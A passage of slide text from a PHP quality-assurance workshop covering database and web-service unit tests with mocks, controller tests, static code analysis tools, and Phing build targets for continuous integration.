  100. 100. Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  101. 101. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  102. 102. Run Test
  103. 103. What went wrong here?
  104. 104. AUTO_INCREMENT
  105. 105. Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array (comment => array (id))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $filteredDs);}
  106. 106. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  107. 107. Run Test
  108. 108. Testing web services
  109. 109. Web services remarks•- you need to comply with an API that will be your reference•- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  110. 110. Example: joind.in
  111. 111. http://joind.in/api
  112. 112. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  113. 113. JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  114. 114. Testing the service
  115. 115. Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  116. 116. And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s !
  117. 117. Solution… right here!
  118. 118. Your expectations
  119. 119. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  120. 120. JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response>EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  121. 121. JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <dt>{$date->format(r)}</dt> <test_string>testing unit test</test_string></response>EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  122. 122. Good implementation?
  123. 123. Controller Testing
  124. 124. Our form flow
  125. 125. Setting up ControllerTest<?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{ public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); parent::setUp(); }}
  126. 126. Testing if form is on pagepublic function testIndexAction(){ $params = array( action => index, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertQueryContentContains( h1#pageTitle, Please leave a comment); $this->assertQueryCount(form#commentForm, 1);}
  127. 127. Test processingpublic function testProcessAction(){ $testData = array ( name => testUser, mail => test@example.com, web => http://www.example.com, comment => This is a test comment, ); $params = array(action => process, controller => index, module => default); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod(post); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertResponseCode(302); $this->assertRedirectTo(/index/success); $this->resetRequest(); $this->resetResponse(); $this->dispatch(/index/success); $this->assertQueryContentContains(span#fullName, $testData[name]);}
  128. 128. REMARK•- data providers can be used to test valid data - to test invalid data• but we know it’s taken care of our model - just checking for error messages in form
  129. 129. Test if we hit homepublic function testSuccessAction(){ $params = array( action => success, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/);}
  130. 130. Running the tests
  131. 131. Testing it all
  132. 132. Testing it all
  133. 133. Our progress report
  134. 134. Conclusion
  135. 135. • unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
  136. 136. Fork this codehttp://github.com/DragonBe/zftest
  137. 137. Measuring
  138. 138. Code Analysis
  139. 139. Questions• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?
  140. 140. Answers• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PHPCS - PHP_CodeSniffer
  141. 141. PHP Depend
  142. 142. What?• generates metrics• measure health• identify parts to improve (refactor)
  143. 143. pdepend pyramid
  144. 144. • CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Packages• AHH: Average Hierarchy Height• ANDC: Average Number of Derived Classes• FANOUT: Number of Called Classes• CALLS: Number of Operation Calls
  145. 145. Cyclomatic Complexity• metric calculation• execution paths•- independent control structures if, else, for, foreach, switch case, while, do, …• within a single method or function•- more info http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  146. 146. Average Hierarchy HeightThe average of the maximum length from a root class to its deepest subclass
  147. 147. pdepend pyramidInheritance few classes derived from other classes lots of classes inherit from other classes
  148. 148. pdepend pyramidSize and complexity
  149. 149. pdepend pyramid Coupling
  150. 150. pdepend pyramid High value
  151. 151. pdepend-graphgraph  about  stability:  a  mix  between  abstract  and  concrete  classes
  152. 152. PHP  Depend
  153. 153. PHP Mess Detection
  154. 154. What?•- detects code smells possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  155. 155. PHPMD  in  ac>on
  156. 156. PHP Copy/Paste Detection
  157. 157. What?•- detects similar code snippets plain copy/paste work - similar code routines• indicates problems - maintenance hell - downward spiral of disasters• stimulates improvements - refactoring of code - moving similar code snippets in common routines
  158. 158. PHP CodeSniffer
  159. 159. Required evil•- validates coding standards consistency - readability• set as a policy for development• reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code• can be set as pre-commit hook - but can cause frustration!!!
  160. 160. Performance Analysis
  161. 161. https://twitter.com/#!/andriesss/status/189712045766225920
  162. 162. Automating
  163. 163. Key reason“computers are great at doing repetitive tasks very well”
  164. 164. Repetition• syntax checking• documenting• testing• measuring
  165. 165. Why Phing?• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great documentation
  166. 166. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  167. 167. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"><project set global and local properties --> <!-- name="Application build" default="phplint"> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  168. 168. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <!-- set file="build.properties"/> <property <property file="local.properties" properties --> global and local override="true" /> <property file="build.properties" /> <property our code base files --> <!-- define file="local.properties" override="true" /> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  169. 169. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define ourour code files --> <!-- define code base base files --> <fileset dir="${project.basedir}" id="phpfiles"> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  170. 170. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <!-- let’s validate the syntax of our code base --> <phplint haltonfailure="true"> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> <fileset refid="phpfiles" /> </phplint> </phplint> </target> </target></project>
  171. 171. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project></project>
  172. 172. build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties# General settingsproject.website=http://wecycle.localproject.title=WeCycle# AB Testing propertiesabrequests=1000abconcurrency=10
  173. 173. local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10db.username=qademo_userdb.password=v3rRyS3crEtdb.hostname=127.0.0.1db.dbname=qademo
  174. 174. Let’s  run  it
  175. 175. Artifacts• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a prepare target• that creates these artifact directories (./build)• that gets cleaned every run
  176. 176. Prepare for artifacts<target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /></target>
  177. 177. phpdoc2<target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /></target>
  178. 178. PHPUnit<target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /></target>
  179. 179. PHP_CodeSniffer<target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /></target>
  180. 180. Copy Paste Detection<target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd></target>
  181. 181. PHP Mess Detection<target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd></target>
  182. 182. PHP Depend<target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend></target>
  183. 183. PHP CodeBrowser<target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/></target>
  184. 184. Create a build procedure<target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /></target>
  185. 185. Other things to automate• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code base with Phar•- transfer package to servers with FTP/SFTP - scp/rsync• execute remote commands with SSH• … so much more
  186. 186. Example DBDeploy<target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/></target>
  187. 187. Build  it
  188. 188. Continuous Integration
  189. 189. Deployment DEV TEST ACC PRODBuild Build - Unit tests - API docs Continuous - Code conventions Integration - Software metrics System StatusDevelopment Build package DocumentationBackup/Archive Nightly builds Versioning System wiki/PM tools
  190. 190. Now you are a winner!
  191. 191. Team Works!
  192. 192. Conclusion
  193. 193. Get your information in a consistent, automated wayand make it accessible for the team
  194. 194. More people can better safeguard the code!
  195. 195. QA starts with YOU!
  196. 196. Recommended  reading• the  PHP  QA  book -­‐ Sebas>an  Bergmann -­‐ Stefan  Priebsch
  197. 197. Recommended  reading• The  Grumpy  Book -­‐ Chris  Hartjes
  198. 198. Recommended  reading Free• OOD  Quality  Metrics -­‐ Robert  Cecil  Mar>n h4p://www.objectmentor.com/publica>ons/oodmetrc.pdf
  199. 199. Michelangelo van DamCertified Zend Engineer 2michelangelo@in2it.be(202) 559-7401@DragonBe Contact us for consulting - training - QA www.in2it.be
  200. 200. https://joind.in/6858Please leave feedback to make this workshop better
  201. 201. PHP BENELUXCONFERENCEAntwerp  2013 phpcon.eu
  202. 202. CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.com/photos/dasprid/5148937451birds: http://www.flickr.com/photos/andyofne/4633356197safeguarding: http://www.flickr.com/photos/infidelic/4306205887/bugs: http://www.flickr.com/photos/goingslo/4523034319behaviour: http://www.flickr.com/photos/yuan2003/1812881370prevention: http://www.flickr.com/photos/robertelyov/5159801170progress: http://www.flickr.com/photos/dingatx/4115844000workout: http://www.flickr.com/photos/aktivioslo/3883690673measurement: http://www.flickr.com/photos/cobalt220/5479976917team spirit: http://www.flickr.com/photos/amberandclint/3266859324time: http://www.flickr.com/photos/freefoto/2198154612chris hartjes: http://www.flickr.com/photos/sebastian_bergmann/3341258964continuous reporting: http://www.flickr.com/photos/dhaun/5640386266deploy packages: http://www.flickr.com/photos/fredrte/2338592371race cars: http://www.flickr.com/photos/robdunckley/3781995277protection dog: http://www.flickr.com/photos/boltofblue/5724934828gears: http://www.flickr.com/photos/freefoto/59825499381st place: http://www.flickr.com/photos/evelynishere/3417340248elephpant: http://www.flickr.com/photos/drewm/3191872515
  203. 203. Thank you

×